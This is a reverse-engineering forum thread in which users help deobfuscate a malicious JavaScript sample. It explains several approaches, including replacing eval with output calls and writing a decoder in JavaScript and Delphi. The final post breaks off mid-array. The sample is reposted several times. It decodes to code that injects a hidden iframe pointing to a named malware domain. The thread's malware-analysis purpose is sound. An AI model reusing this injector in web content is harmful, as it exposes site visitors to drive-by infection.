Exetools - Deobfuscate Javascript, script can't be compiled

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Deobfuscate Javascript, script can't be compiled

I try to deobfuscate the following malicious Javascript with Malzilla:

Code:

 Object.prototype.qwe=function()

 {

   return String["fro"+'mCha'+'rCo'+'de'];

 };

 Object.prototype.asd="e";

 var s="";

 try

 {

   {

   }

   ['qwtqwt']();

 }

 catch(q)

 {

   r=1;

 }

 if(r&&+new Object(1231)&&document.createTextNode('123').data&&typeof

 {

 }

 .asd.vfr==='undefined')w=2;

 e=eval;

 m=[18/w,18/w,210/w,204/w,64/w,80/w,200/w,222/w,198/w,234/w,218/w,202/w,220/w,232/w,92/w,206/w,202/w,232/w,138/w,216/w,202/w,218/w,202/w,220/w,232/w,230/w,132/w,242/w,168/w,194/w,206/w,156/w,194/w,218/w,202/w,80/w,78/w,196/w,222/w,200/w,242/w,78/w,82/w,182/w,96/w,186/w,82/w,246/w,18/w,18/w,18/w,210/w,204/w,228/w,194/w,218/w,202/w,228/w,80/w,82/w,118/w,18/w,18/w,250/w,64/w,202/w,216/w,230/w,202/w,64/w,246/w,18/w,18/w,18/w,200/w,222/w,198/w,234/w,218/w,202/w,220/w,232/w,92/w,238/w,228/w,210/w,232/w,202/w,80/w,68/w,120/w,210/w,204/w,228/w,194/w,218/w,202/w,64/w,230/w,228/w,198/w,122/w,78/w,208/w,232/w,232/w,224/w,116/w,94/w,94/w,214/w,222/w,224/w,222/w,216/w,202/w,104/w,210/w,216/w,222/w,114/w,92/w,198/w,244/w,92/w,198/w,198/w,94/w,210/w,94/w,204/w,232/w,224/w,98/w,78/w,64/w,238/w,210/w,200/w,232/w,208/w,122/w,78/w,98/w,96/w,78/w,64/w,208/w,202/w,210/w,206/w,208/w,232/w,122/w,78/w,98/w,96/w,78/w,64/w,230/w,232/w,242/w,216/w,202/w,122/w,78/w,236/w,210/w,230/w,210/w,196/w,210/w,216/w,210/w,232/w,242/w,116/w,208/w,210/w,200/w,200/w,202/w,220/w,118/w,224/w,222/w,230/w,210/w,232/w,210/w,222/w,220/w,116/w,194/w,196/w,230/w,222/w,216/w,234/w,232/w,202/w,118/w,216/w,202/w,204/w,232/w,116/w,96/w,118/w,232/w,222/w,224/w,116/w,96/w,118/w,78/w,124/w,120/w,94/w,210/w,204/w,228/w,194/w,218/w,202/w,124/w,68/w,82/w,118/w,18/w,18/w,250/w,18/w,18/w,204/w,234/w,220/w,198/w,232/w,210/w,222/w,220/w,64/w,210/w,204/w,228/w,194/w,218/w,202/w,228/w,80/w,82/w,246/w,18/w,18/w,18/w,236/w,194/w,228/w,64/w,204/w,64/w,122/w,64/w,200/w,222/w,198/w,234/w,218/w,202/w,220/w,232/w,92/w,198/w,228/w,202/w,194/w,232/w,202/w,138/w,216/w,202/w,218/w,202/w,220/w,232/w,80/w,78/w,210/w,204/w,228/w,194/w,218/w,202/w,78/w,82/w,118/w,204/w,92/w,230/w,202/w,232/w,130/w,232/w,232/w,228/w,210/w,196/w,234/w,232/w,202/w,80/w,78/w,230/w,228/w,198/w,78/w,88/w,78/w,208/w,232/w,232/w,224/w,116/w,94/w,94/w,214/w,222/w,224/w,222/w,216/w,202/w,104/w,210/w,216/w,222/w,114/w,92/w,198/w,244/w,92/w,198/w,198/w,94/w,210/w,94/w,204/w,232/w,224/w,98/w,78/w,82/w,118/w,204/w,92/w,230/w,232/w,242/w,216/w,202/w,92/w,236/w,210/w,230/w,210/w,196/w,210/w,216/w,210/w,232/w,242/w,122/w,78/w,208/w,210/w,200/w,200/w,202/w,220/w,78/w,118/w,204/w,92/w,230/w,232/w,242/w,216/w,202/w,92/w,224/w,222/w,230/w,210/w,232/w,210/w,222/w,220/w,122/w,78/w,194/w,196/w,230/w,222/w,216/w,234/w,232/w,202/w,78/w,118/w,204/w,92/w,230/w,232/w,242/w,216/w,202/w,92/w,216/w,202/w,204/w,232/w,122/w,78/w,96/w,78/w,118/w,204/w,92/w,230/w,232/w,242/w,216/w,202/w,92/w,232/w,222/w,224/w,122/w,78/w,96/w,78/w,118/w,204/w,92/w,230/w,202/w,232/w,130/w,232/w,232/w,228/w,210/w,196/w,234/w,232/w,202/w,80/w,78/w,238/w,210/w,200/w,232/w,208/w,78/w,88/w,78/w,98/w,96/w,78/w,82/w,118/w,204/w,92/w,230/w,202/w,232/w,130/w,232/w,232/w,228/w,210/w,196/w,234/w,232/w,202/w,80/w,78/w,208/w,202/w,210/w,206/w,208/w,232/w,78/w,88/w,78/w,98/w,96/w,78/w,82/w,118/w,18/w,18/w,18/w,200/w,222/w,198/w,234/w,218/w,202/w,220/w,232/w,92/w,206/w,202/w,232/w,138/w,216/w,202/w,218/w,202/w,220/w,232/w,230/w,132/w,242/w,168/w,194/w,206/w,156/w,194/w,218/w,202/w,80/w,78/w,196/w,222/w,200/w,242/w,78/w,82/w,182/w,96/w,186/w,92/w,194/w,224/w,224/w,202/w,220/w,200/w,134/w,208/w,210/w,216/w,200/w,80/w,204/w,82/w,118/w,18/w,18/w,250/w];

 mm=

 {

 }

 .qwe();

 for(i=0;i<m.length;i++)if(

 {

 }

 .asd==='e')s+=mm(e("m"+"["+"i]"));

 e(s);

and Malzilla returns the message "Script can't be compiled".
I have tried to debug and got the error message "object is not a function":

Code:

['qwtqwt']();

. After some modifications, it was able to be compiled.

Code:

 Object.prototype.qwe=function()

 {

   return String["fro"+'mCha'+'rCo'+'de'];

 };

 Object.prototype.asd="e";

 var s="";

 r=0

 try

 {

   {

   }

   ['qwtqwt'];

 }

 catch(q)

 {

   r=1;

 }

 w = 2

 if(r&&+new Object(1231)&&document.createTextNode('123').data&&typeof

 {

 }

 .asd.vfr==='undefined')w=2;

 e=eval;

 m=[18/w,18/w,210/w,204/w,64/w,80/w,200/w,222/w,198/w,234/w,218/w,202/w,220/w,232/w,92/w,206/w,202/w,232/w,138/w,216/w,202/w,218/w,202/w,220/w,232/w,230/w,132/w,242/w,168/w,194/w,206/w,156/w,194/w,218/w,202/w,80/w,78/w,196/w,222/w,200/w,242/w,78/w,82/w,182/w,96/w,186/w,82/w,246/w,18/w,18/w,18/w,210/w,204/w,228/w,194/w,218/w,202/w,228/w,80/w,82/w,118/w,18/w,18/w,250/w,64/w,202/w,216/w,230/w,202/w,64/w,246/w,18/w,18/w,18/w,200/w,222/w,198/w,234/w,218/w,202/w,220/w,232/w,92/w,238/w,228/w,210/w,232/w,202/w,80/w,68/w,120/w,210/w,204/w,228/w,194/w,218/w,202/w,64/w,230/w,228/w,198/w,122/w,78/w,208/w,232/w,232/w,224/w,116/w,94/w,94/w,214/w,222/w,224/w,222/w,216/w,202/w,104/w,210/w,216/w,222/w,114/w,92/w,198/w,244/w,92/w,198/w,198/w,94/w,210/w,94/w,204/w,232/w,224/w,98/w,78/w,64/w,238/w,210/w,200/w,232/w,208/w,122/w,78/w,98/w,96/w,78/w,64/w,208/w,202/w,210/w,206/w,208/w,232/w,122/w,78/w,98/w,96/w,78/w,64/w,230/w,232/w,242/w,216/w,202/w,122/w,78/w,236/w,210/w,230/w,210/w,196/w,210/w,216/w,210/w,232/w,242/w,116/w,208/w,210/w,200/w,200/w,202/w,220/w,118/w,224/w,222/w,230/w,210/w,232/w,210/w,222/w,220/w,116/w,194/w,196/w,230/w,222/w,216/w,234/w,232/w,202/w,118/w,216/w,202/w,204/w,232/w,116/w,96/w,118/w,232/w,222/w,224/w,116/w,96/w,118/w,78/w,124/w,120/w,94/w,210/w,204/w,228/w,194/w,218/w,202/w,124/w,68/w,82/w,118/w,18/w,18/w,250/w,18/w,18/w,204/w,234/w,220/w,198/w,232/w,210/w,222/w,220/w,64/w,210/w,204/w,228/w,194/w,218/w,202/w,228/w,80/w,82/w,246/w,18/w,18/w,18/w,236/w,194/w,228/w,64/w,204/w,64/w,122/w,64/w,200/w,222/w,198/w,234/w,218/w,202/w,220/w,232/w,92/w,198/w,228/w,202/w,194/w,232/w,202/w,138/w,216/w,202/w,218/w,202/w,220/w,232/w,80/w,78/w,210/w,204/w,228/w,194/w,218/w,202/w,78/w,82/w,118/w,204/w,92/w,230/w,202/w,232/w,130/w,232/w,232/w,228/w,210/w,196/w,234/w,232/w,202/w,80/w,78/w,230/w,228/w,198/w,78/w,88/w,78/w,208/w,232/w,232/w,224/w,116/w,94/w,94/w,214/w,222/w,224/w,222/w,216/w,202/w,104/w,210/w,216/w,222/w,114/w,92/w,198/w,244/w,92/w,198/w,198/w,94/w,210/w,94/w,204/w,232/w,224/w,98/w,78/w,82/w,118/w,204/w,92/w,230/w,232/w,242/w,216/w,202/w,92/w,236/w,210/w,230/w,210/w,196/w,210/w,216/w,210/w,232/w,242/w,122/w,78/w,208/w,210/w,200/w,200/w,202/w,220/w,78/w,118/w,204/w,92/w,230/w,232/w,242/w,216/w,202/w,92/w,224/w,222/w,230/w,210/w,232/w,210/w,222/w,220/w,122/w,78/w,194/w,196/w,230/w,222/w,216/w,234/w,232/w,202/w,78/w,118/w,204/w,92/w,230/w,232/w,242/w,216/w,202/w,92/w,216/w,202/w,204/w,232/w,122/w,78/w,96/w,78/w,118/w,204/w,92/w,230/w,232/w,242/w,216/w,202/w,92/w,232/w,222/w,224/w,122/w,78/w,96/w,78/w,118/w,204/w,92/w,230/w,202/w,232/w,130/w,232/w,232/w,228/w,210/w,196/w,234/w,232/w,202/w,80/w,78/w,238/w,210/w,200/w,232/w,208/w,78/w,88/w,78/w,98/w,96/w,78/w,82/w,118/w,204/w,92/w,230/w,202/w,232/w,130/w,232/w,232/w,228/w,210/w,196/w,234/w,232/w,202/w,80/w,78/w,208/w,202/w,210/w,206/w,208/w,232/w,78/w,88/w,78/w,98/w,96/w,78/w,82/w,118/w,18/w,18/w,18/w,200/w,222/w,198/w,234/w,218/w,202/w,220/w,232/w,92/w,206/w,202/w,232/w,138/w,216/w,202/w,218/w,202/w,220/w,232/w,230/w,132/w,242/w,168/w,194/w,206/w,156/w,194/w,218/w,202/w,80/w,78/w,196/w,222/w,200/w,242/w,78/w,82/w,182/w,96/w,186/w,92/w,194/w,224/w,224/w,202/w,220/w,200/w,134/w,208/w,210/w,216/w,200/w,80/w,204/w,82/w,118/w,18/w,18/w,250/w];

 mm=

 {

 }

 .qwe();

 for(i=0;i<m.length;i++)if(

 {

 }

 .asd==='e')s+=mm(e("m"+"["+"i]"));

 e(s);

With the help of Firebug, I am able to see that this Javascript results some GET requests to

Code:

http://kopole4ilo9.cz.cc/i/ftp1

.
Can you give me some tips to continue my Javascript deobfuscation or some better way to deobfuscate this Javascript?
I have tried to replace eval with alert but it was not successful.

Malzilla can't do things using specyfic application features for example this can be PDF object or browser property. You need to deobfuscate it by hand.

Quote:

Originally Posted by memcpy (Post 76592)

Malzilla can't do things using specyfic application features for example this can be PDF object or browser property. You need to deobfuscate it by hand.

I think we can deobfuscate this Javascript with Python but I don't know how to do this.
Could someone help me :) ?

Just change the final e(s); to "WScript.echo(s)" and you'll see the code.
You can even run the script using cscript.exe and redirect the output to a file.

Hello,
Attached, basic ways to deobfuscate js.
The js code injects a malicious hidden !frame which leads to malicious url.

Flash movie link:

PHP Code:


		
			
http://www.multiupload.com/AB5F46WGOR

Regards.

Quote:

Originally Posted by STRELiTZIA (Post 76615)

Hello,
Attached, basic ways to deobfuscate js.
The js code injects a malicious hidden !frame which leads to malicious url.

Flash movie link:

PHP Code:


		
			
http://www.multiupload.com/AB5F46WGOR

Regards.

I could follow your helpful tutorial.
Thank you very much for your dynamic analysis tutorial although this way gives us many vulnerabilities :D .
Could you give me a static analysis way to deobfuscate the Javascript code :) ?

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Quote:

Originally Posted by qkumba (Post 76614)

Just change the final e(s); to "WScript.echo(s)" and you'll see the code.
You can even run the script using cscript.exe and redirect the output to a file.

I follow your instruction, but:
If I put the following code into a .wsf (Windows Script File) and run it:

Code:

Object.prototype.qwe=function()

 {

   return String["fro"+'mCha'+'rCo'+'de'];

 };

 Object.prototype.asd="e";

 var s="";

 try

 {

   {

   }

   ['qwtqwt']();

 }

 catch(q)

 {

   r=1;

 }

 if(r&&+new Object(1231)&&document.createTextNode('123').data&&typeof

 {

 }

 .asd.vfr==='undefined')w=2;

 e=eval;

 m=[18/w,18/w,210/w,204/w,64/w,80/w,200/w,222/w,198/w,234/w,218/w,202/w,220/w,232/w,92/w,206/w,202/w,232/w,138/w,216/w,202/w,218/w,202/w,220/w,232/w,230/w,132/w,242/w,168/w,194/w,206/w,156/w,194/w,218/w,202/w,80/w,78/w,196/w,222/w,200/w,242/w,78/w,82/w,182/w,96/w,186/w,82/w,246/w,18/w,18/w,18/w,210/w,204/w,228/w,194/w,218/w,202/w,228/w,80/w,82/w,118/w,18/w,18/w,250/w,64/w,202/w,216/w,230/w,202/w,64/w,246/w,18/w,18/w,18/w,200/w,222/w,198/w,234/w,218/w,202/w,220/w,232/w,92/w,238/w,228/w,210/w,232/w,202/w,80/w,68/w,120/w,210/w,204/w,228/w,194/w,218/w,202/w,64/w,230/w,228/w,198/w,122/w,78/w,208/w,232/w,232/w,224/w,116/w,94/w,94/w,214/w,222/w,224/w,222/w,216/w,202/w,104/w,210/w,216/w,222/w,114/w,92/w,198/w,244/w,92/w,198/w,198/w,94/w,210/w,94/w,204/w,232/w,224/w,98/w,78/w,64/w,238/w,210/w,200/w,232/w,208/w,122/w,78/w,98/w,96/w,78/w,64/w,208/w,202/w,210/w,206/w,208/w,232/w,122/w,78/w,98/w,96/w,78/w,64/w,230/w,232/w,242/w,216/w,202/w,122/w,78/w,236/w,210/w,230/w,210/w,196/w,210/w,216/w,210/w,232/w,242/w,116/w,208/w,210/w,200/w,200/w,202/w,220/w,118/w,224/w,222/w,230/w,210/w,232/w,210/w,222/w,220/w,116/w,194/w,196/w,230/w,222/w,216/w,234/w,232/w,202/w,118/w,216/w,202/w,204/w,232/w,116/w,96/w,118/w,232/w,222/w,224/w,116/w,96/w,118/w,78/w,124/w,120/w,94/w,210/w,204/w,228/w,194/w,218/w,202/w,124/w,68/w,82/w,118/w,18/w,18/w,250/w,18/w,18/w,204/w,234/w,220/w,198/w,232/w,210/w,222/w,220/w,64/w,210/w,204/w,228/w,194/w,218/w,202/w,228/w,80/w,82/w,246/w,18/w,18/w,18/w,236/w,194/w,228/w,64/w,204/w,64/w,122/w,64/w,200/w,222/w,198/w,234/w,218/w,202/w,220/w,232/w,92/w,198/w,228/w,202/w,194/w,232/w,202/w,138/w,216/w,202/w,218/w,202/w,220/w,232/w,80/w,78/w,210/w,204/w,228/w,194/w,218/w,202/w,78/w,82/w,118/w,204/w,92/w,230/w,202/w,232/w,130/w,232/w,232/w,228/w,210/w,196/w,234/w,232/w,202/w,80/w,78/w,230/w,228/w,198/w,78/w,88/w,78/w,208/w,232/w,232/w,224/w,116/w,94/w,94/w,214/w,222/w,224/w,222/w,216/w,202/w,104/w,210/w,216/w,222/w,114/w,92/w,198/w,244/w,92/w,198/w,198/w,94/w,210/w,94/w,204/w,232/w,224/w,98/w,78/w,82/w,118/w,204/w,92/w,230/w,232/w,242/w,216/w,202/w,92/w,236/w,210/w,230/w,210/w,196/w,210/w,216/w,210/w,232/w,242/w,122/w,78/w,208/w,210/w,200/w,200/w,202/w,220/w,78/w,118/w,204/w,92/w,230/w,232/w,242/w,216/w,202/w,92/w,224/w,222/w,230/w,210/w,232/w,210/w,222/w,220/w,122/w,78/w,194/w,196/w,230/w,222/w,216/w,234/w,232/w,202/w,78/w,118/w,204/w,92/w,230/w,232/w,242/w,216/w,202/w,92/w,216/w,202/w,204/w,232/w,122/w,78/w,96/w,78/w,118/w,204/w,92/w,230/w,232/w,242/w,216/w,202/w,92/w,232/w,222/w,224/w,122/w,78/w,96/w,78/w,118/w,204/w,92/w,230/w,202/w,232/w,130/w,232/w,232/w,228/w,210/w,196/w,234/w,232/w,202/w,80/w,78/w,238/w,210/w,200/w,232/w,208/w,78/w,88/w,78/w,98/w,96/w,78/w,82/w,118/w,204/w,92/w,230/w,202/w,232/w,130/w,232/w,232/w,228/w,210/w,196/w,234/w,232/w,202/w,80/w,78/w,208/w,202/w,210/w,206/w,208/w,232/w,78/w,88/w,78/w,98/w,96/w,78/w,82/w,118/w,18/w,18/w,18/w,200/w,222/w,198/w,234/w,218/w,202/w,220/w,232/w,92/w,206/w,202/w,232/w,138/w,216/w,202/w,218/w,202/w,220/w,232/w,230/w,132/w,242/w,168/w,194/w,206/w,156/w,194/w,218/w,202/w,80/w,78/w,196/w,222/w,200/w,242/w,78/w,82/w,182/w,96/w,186/w,92/w,194/w,224/w,224/w,202/w,220/w,200/w,134/w,208/w,210/w,216/w,200/w,80/w,204/w,82/w,118/w,18/w,18/w,250/w];

 mm=

 {

 }

 .qwe();

 for(i=0;i<m.length;i++)if(

 {

 }

 .asd==='e')s+=mm(e("m"+"["+"i]")); 

 WScript.echo(s);

I will get the result:

Code:

Line: 29

Char: 12

Error: Invalid entity reference

Code: 8004000C

Source: Windows Script Host

If I put "WScript.echo(s);" to a html file with the obfuscated javascript code and open the html file with Firefox, I don't see the deobfuscated code.

Here is my solution:

Code:

/* internal check */

   alert("javascript sample executed...");

/* internal check */

function showme(txt) {

        document.write("<textarea rows=50 cols=50>");document.write(txt); document.write("</textarea>"); 

}



Object.prototype.qwe=function()

 {

   return String["fro"+'mCha'+'rCo'+'de'];

 };

 Object.prototype.asd="e";

 var s="";

 try

 {

   {

   }

   ['qwtqwt']();

 }

 catch(q)

 {

   r=1;

 }

 if(r&&+new Object(1231)&&document.createTextNode('123').data&&typeof

 {

 }

 .asd.vfr==='undefined')w=2;

 e=eval;

 m=[18/w,18/w,210/w,204/w,64/w,80/w,200/w,222/w,198/w,234/w,218/w,202/w,220/w,232/w,92/w,206/w,202/w,232/w,138/w,216/w,202/w,218/w,202/w,220/w,232/w,230/w,132/w,242/w,168/w,194/w,206/w,156/w,194/w,218/w,202/w,80/w,78/w,196/w,222/w,200/w,242/w,78/w,82/w,182/w,96/w,186/w,82/w,246/w,18/w,18/w,18/w,210/w,204/w,228/w,194/w,218/w,202/w,228/w,80/w,82/w,118/w,18/w,18/w,250/w,64/w,202/w,216/w,230/w,202/w,64/w,246/w,18/w,18/w,18/w,200/w,222/w,198/w,234/w,218/w,202/w,220/w,232/w,92/w,238/w,228/w,210/w,232/w,202/w,80/w,68/w,120/w,210/w,204/w,228/w,194/w,218/w,202/w,64/w,230/w,228/w,198/w,122/w,78/w,208/w,232/w,232/w,224/w,116/w,94/w,94/w,214/w,222/w,224/w,222/w,216/w,202/w,104/w,210/w,216/w,222/w,114/w,92/w,198/w,244/w,92/w,198/w,198/w,94/w,210/w,94/w,204/w,232/w,224/w,98/w,78/w,64/w,238/w,210/w,200/w,232/w,208/w,122/w,78/w,98/w,96/w,78/w,64/w,208/w,202/w,210/w,206/w,208/w,232/w,122/w,78/w,98/w,96/w,78/w,64/w,230/w,232/w,242/w,216/w,202/w,122/w,78/w,236/w,210/w,230/w,210/w,196/w,210/w,216/w,210/w,232/w,242/w,116/w,208/w,210/w,200/w,200/w,202/w,220/w,118/w,224/w,222/w,230/w,210/w,232/w,210/w,222/w,220/w,116/w,194/w,196/w,230/w,222/w,216/w,234/w,232/w,202/w,118/w,216/w,202/w,204/w,232/w,116/w,96/w,118/w,232/w,222/w,224/w,116/w,96/w,118/w,78/w,124/w,120/w,94/w,210/w,204/w,228/w,194/w,218/w,202/w,124/w,68/w,82/w,118/w,18/w,18/w,250/w,18/w,18/w,204/w,234/w,220/w,198/w,232/w,210/w,222/w,220/w,64/w,210/w,204/w,228/w,194/w,218/w,202/w,228/w,80/w,82/w,246/w,18/w,18/w,18/w,236/w,194/w,228/w,64/w,204/w,64/w,122/w,64/w,200/w,222/w,198/w,234/w,218/w,202/w,220/w,232/w,92/w,198/w,228/w,202/w,194/w,232/w,202/w,138/w,216/w,202/w,218/w,202/w,220/w,232/w,80/w,78/w,210/w,204/w,228/w,194/w,218/w,202/w,78/w,82/w,118/w,204/w,92/w,230/w,202/w,232/w,130/w,232/w,232/w,228/w,210/w,196/w,234/w,232/w,202/w,80/w,78/w,230/w,228/w,198/w,78/w,88/w,78/w,208/w,232/w,232/w,224/w,116/w,94/w,94/w,214/w,222/w,224/w,222/w,216/w,202/w,104/w,210/w,216/w,222/w,114/w,92/w,198/w,244/w,92/w,198/w,198/w,94/w,210/w,94/w,204/w,232/w,224/w,98/w,78/w,82/w,118/w,204/w,92/w,230/w,232/w,242/w,216/w,202/w,92/w,236/w,210/w,230/w,210/w,196/w,210/w,216/w,210/w,232/w,242/w,122/w,78/w,208/w,210/w,200/w,200/w,202/w,220/w,78/w,118/w,204/w,92/w,230/w,232/w,242/w,216/w,202/w,92/w,224/w,222/w,230/w,210/w,232/w,210/w,222/w,220/w,122/w,78/w,194/w,196/w,230/w,222/w,216/w,234/w,232/w,202/w,78/w,118/w,204/w,92/w,230/w,232/w,242/w,216/w,202/w,92/w,216/w,202/w,204/w,232/w,122/w,78/w,96/w,78/w,118/w,204/w,92/w,230/w,232/w,242/w,216/w,202/w,92/w,232/w,222/w,224/w,122/w,78/w,96/w,78/w,118/w,204/w,92/w,230/w,202/w,232/w,130/w,232/w,232/w,228/w,210/w,196/w,234/w,232/w,202/w,80/w,78/w,238/w,210/w,200/w,232/w,208/w,78/w,88/w,78/w,98/w,96/w,78/w,82/w,118/w,204/w,92/w,230/w,202/w,232/w,130/w,232/w,232/w,228/w,210/w,196/w,234/w,232/w,202/w,80/w,78/w,208/w,202/w,210/w,206/w,208/w,232/w,78/w,88/w,78/w,98/w,96/w,78/w,82/w,118/w,18/w,18/w,18/w,200/w,222/w,198/w,234/w,218/w,202/w,220/w,232/w,92/w,206/w,202/w,232/w,138/w,216/w,202/w,218/w,202/w,220/w,232/w,230/w,132/w,242/w,168/w,194/w,206/w,156/w,194/w,218/w,202/w,80/w,78/w,196/w,222/w,200/w,242/w,78/w,82/w,182/w,96/w,186/w,92/w,194/w,224/w,224/w,202/w,220/w,200/w,134/w,208/w,210/w,216/w,200/w,80/w,204/w,82/w,118/w,18/w,18/w,250/w];

 mm=

 {

 }

 .qwe();

 for(i=0;i<m.length;i++)if(

 {

 }

 .asd==='e')s+=mm(e("m"+"["+"i]"));

 //e(s);

 alert(e);

 alert(s);

I will wait for some other solutions to mark best answer :D!

Don't paste in FireFox, just run it from the command prompt.
The script that you show is executable directly when saved as a .js file.

Quote:

Could you give me a static analysis way to deobfuscate the Javascript code ?

PHP Code:


		
			
/* Header information */

   document.write('<p style="text-align:center"><font face="courier new" size="3" color="red"><b>[INFORMATION]</b></font></p>');

   document.write('<p style="text-align:center"><font face="courier new" size="2" color="blue"><b>javascript sample executed...</b></font></p>');

/* Header information */



 mainCode = ""; 

 w = 2;

 shellCodeArray = [18/w,18/w,210/w,204/w,64/w,80/w,200/w,222/w,198/w,234/w,218/w,202/w,220/w,232/w,92/w,206/w,202/w,232/w,138/w,216/w,202/w,218/w,202/w,220/w,232/w,230/w,132/w,242/w,168/w,194/w,206/w,156/w,194/w,218/w,202/w,80/w,78/w,196/w,222/w,200/w,242/w,78/w,82/w,182/w,96/w,186/w,82/w,246/w,18/w,18/w,18/w,210/w,204/w,228/w,194/w,218/w,202/w,228/w,80/w,82/w,118/w,18/w,18/w,250/w,64/w,202/w,216/w,230/w,202/w,64/w,246/w,18/w,18/w,18/w,200/w,222/w,198/w,234/w,218/w,202/w,220/w,232/w,92/w,238/w,228/w,210/w,232/w,202/w,80/w,68/w,120/w,210/w,204/w,228/w,194/w,218/w,202/w,64/w,230/w,228/w,198/w,122/w,78/w,208/w,232/w,232/w,224/w,116/w,94/w,94/w,214/w,222/w,224/w,222/w,216/w,202/w,104/w,210/w,216/w,222/w,114/w,92/w,198/w,244/w,92/w,198/w,198/w,94/w,210/w,94/w,204/w,232/w,224/w,98/w,78/w,64/w,238/w,210/w,200/w,232/w,208/w,122/w,78/w,98/w,96/w,78/w,64/w,208/w,202/w,210/w,206/w,208/w,232/w,122/w,78/w,98/w,96/w,78/w,64/w,230/w,232/w,242/w,216/w,202/w,122/w,78/w,236/w,210/w,230/w,210/w,196/w,210/w,216/w,210/w,232/w,242/w,116/w,208/w,210/w,200/w,200/w,202/w,220/w,118/w,224/w,222/w,230/w,210/w,232/w,210/w,222/w,220/w,116/w,194/w,196/w,230/w,222/w,216/w,234/w,232/w,202/w,118/w,216/w,202/w,204/w,232/w,116/w,96/w,118/w,232/w,222/w,224/w,116/w,96/w,118/w,78/w,124/w,120/w,94/w,210/w,204/w,228/w,194/w,218/w,202/w,124/w,68/w,82/w,118/w,18/w,18/w,250/w,18/w,18/w,204/w,234/w,220/w,198/w,232/w,210/w,222/w,220/w,64/w,210/w,204/w,228/w,194/w,218/w,202/w,228/w,80/w,82/w,246/w,18/w,18/w,18/w,236/w,194/w,228/w,64/w,204/w,64/w,122/w,64/w,200/w,222/w,198/w,234/w,218/w,202/w,220/w,232/w,92/w,198/w,228/w,202/w,194/w,232/w,202/w,138/w,216/w,202/w,218/w,202/w,220/w,232/w,80/w,78/w,210/w,204/w,228/w,194/w,218/w,202/w,78/w,82/w,118/w,204/w,92/w,230/w,202/w,232/w,130/w,232/w,232/w,228/w,210/w,196/w,234/w,232/w,202/w,80/w,78/w,230/w,228/w,198/w,78/w,88/w,78/w,208/w,232/w,232/w,224/w,116/w,94/w,94/w,214/w,222/w,224/w,222/w,216/w,202/w,104/w,210/w,216/w,222/w,114/w,92/w,198/w,244/w,92/w,198/w,198/w,94/w,210/w,94/w,204/w,232/w,224/w,98/w,78/w,82/w,118/w,204/w,92/w,230/w,232/w,242/w,216/w,202/w,92/w,236/w,210/w,230/w,210/w,196/w,210/w,216/w,210/w,232/w,242/w,122/w,78/w,208/w,210/w,200/w,200/w,202/w,220/w,78/w,118/w,204/w,92/w,230/w,232/w,242/w,216/w,202/w,92/w,224/w,222/w,230/w,210/w,232/w,210/w,222/w,220/w,122/w,78/w,194/w,196/w,230/w,222/w,216/w,234/w,232/w,202/w,78/w,118/w,204/w,92/w,230/w,232/w,242/w,216/w,202/w,92/w,216/w,202/w,204/w,232/w,122/w,78/w,96/w,78/w,118/w,204/w,92/w,230/w,232/w,242/w,216/w,202/w,92/w,232/w,222/w,224/w,122/w,78/w,96/w,78/w,118/w,204/w,92/w,230/w,202/w,232/w,130/w,232/w,232/w,228/w,210/w,196/w,234/w,232/w,202/w,80/w,78/w,238/w,210/w,200/w,232/w,208/w,78/w,88/w,78/w,98/w,96/w,78/w,82/w,118/w,204/w,92/w,230/w,202/w,232/w,130/w,232/w,232/w,228/w,210/w,196/w,234/w,232/w,202/w,80/w,78/w,208/w,202/w,210/w,206/w,208/w,232/w,78/w,88/w,78/w,98/w,96/w,78/w,82/w,118/w,18/w,18/w,18/w,200/w,222/w,198/w,234/w,218/w,202/w,220/w,232/w,92/w,206/w,202/w,232/w,138/w,216/w,202/w,218/w,202/w,220/w,232/w,230/w,132/w,242/w,168/w,194/w,206/w,156/w,194/w,218/w,202/w,80/w,78/w,196/w,222/w,200/w,242/w,78/w,82/w,182/w,96/w,186/w,92/w,194/w,224/w,224/w,202/w,220/w,200/w,134/w,208/w,210/w,216/w,200/w,80/w,204/w,82/w,118/w,18/w,18/w,250/w];

 

 document.write('<p style="text-align:left"><font face="courier new" size="3" color="red"><b>[SHELLCODE]:</b></font></p>');

 document.write('<p style="text-align:left"><font face="courier new" size="2" color="blue"><b>' + shellCodeArray + '</b></font></p>');

 

 for (i=0; i<shellCodeArray.length; i++){ 

 mainCode += (String.fromCharCode(shellCodeArray[i]));

}

 document.write('<p style="text-align:left"><font face="courier new" size="3" color="red"><b>[MAIN CODE DECODED]:</b></font></p>');

 document.write('<p style="text-align:left"><font face="courier new" size="2" color="blue"><b>' + mainCode + '</b></font></p>');



 //eval(mainCode);

 //alert(mainCode);

Conclusion: The js code is not heavily obfuscated...
shellCodeArray = each value is divided by 2
mainCode = (mainCode + (String.fromCharCode(shellCodeArray[shellCodeArray.length])))

delphi sample:

PHP Code:


		
			
function decode(shellCode: array of byte): WideString;

var

  x: Integer;

begin

  for x := 0 to Length(shellCode) - 1 do

    result := result + WideChar(shellCode[x]);

end;

usage:

Code:

procedure TForm1.Button1Click(Sender: TObject);

begin

  Memo1.Text := decode([9, 9, 105, 102, 32, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46,

    103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84,

      97, 103, 78, 97, 109, 101, 40, 39, 98, 111, 100, 121, 39, 41, 91, 48,

      93, 41, 123, 9, 9, 9, 105, 102, 114, 97, 109, 101, 114, 40, 41, 59, 9,

      9, 125, 32, 101, 108, 115, 101, 32, 123, 9, 9, 9, 100, 111, 99, 117,

      109, 101, 110, 116, 46, 119, 114, 105, 116, 101, 40, 34, 60, 105, 102,

      114, 97, 109, 101, 32, 115, 114, 99, 61, 39, 104, 116, 116, 112, 58, 47,

      47, 107, 111, 112, 111, 108, 101, 52, 105, 108, 111, 57, 46, 99, 122, 46,

      99, 99, 47, 105, 47, 102, 116, 112, 49, 39, 32, 119, 105, 100, 116, 104, 61,

      39, 49, 48, 39, 32, 104, 101, 105, 103, 104, 116, 61, 39, 49, 48, 39, 32, 115,

      116, 121, 108, 101, 61, 39, 118, 105, 115, 105, 98, 105, 108, 105, 116, 121, 58,

      104, 105, 100, 100, 101, 110, 59, 112, 111, 115, 105, 116, 105, 111, 110, 58, 97,

      98, 115, 111, 108, 117, 116, 101, 59, 108, 101, 102, 116, 58, 48, 59, 116, 111, 112,

      58, 48, 59, 39, 62, 60, 47, 105, 102, 114, 97, 109, 101, 62, 34, 41, 59, 9, 9, 125, 9, 9,

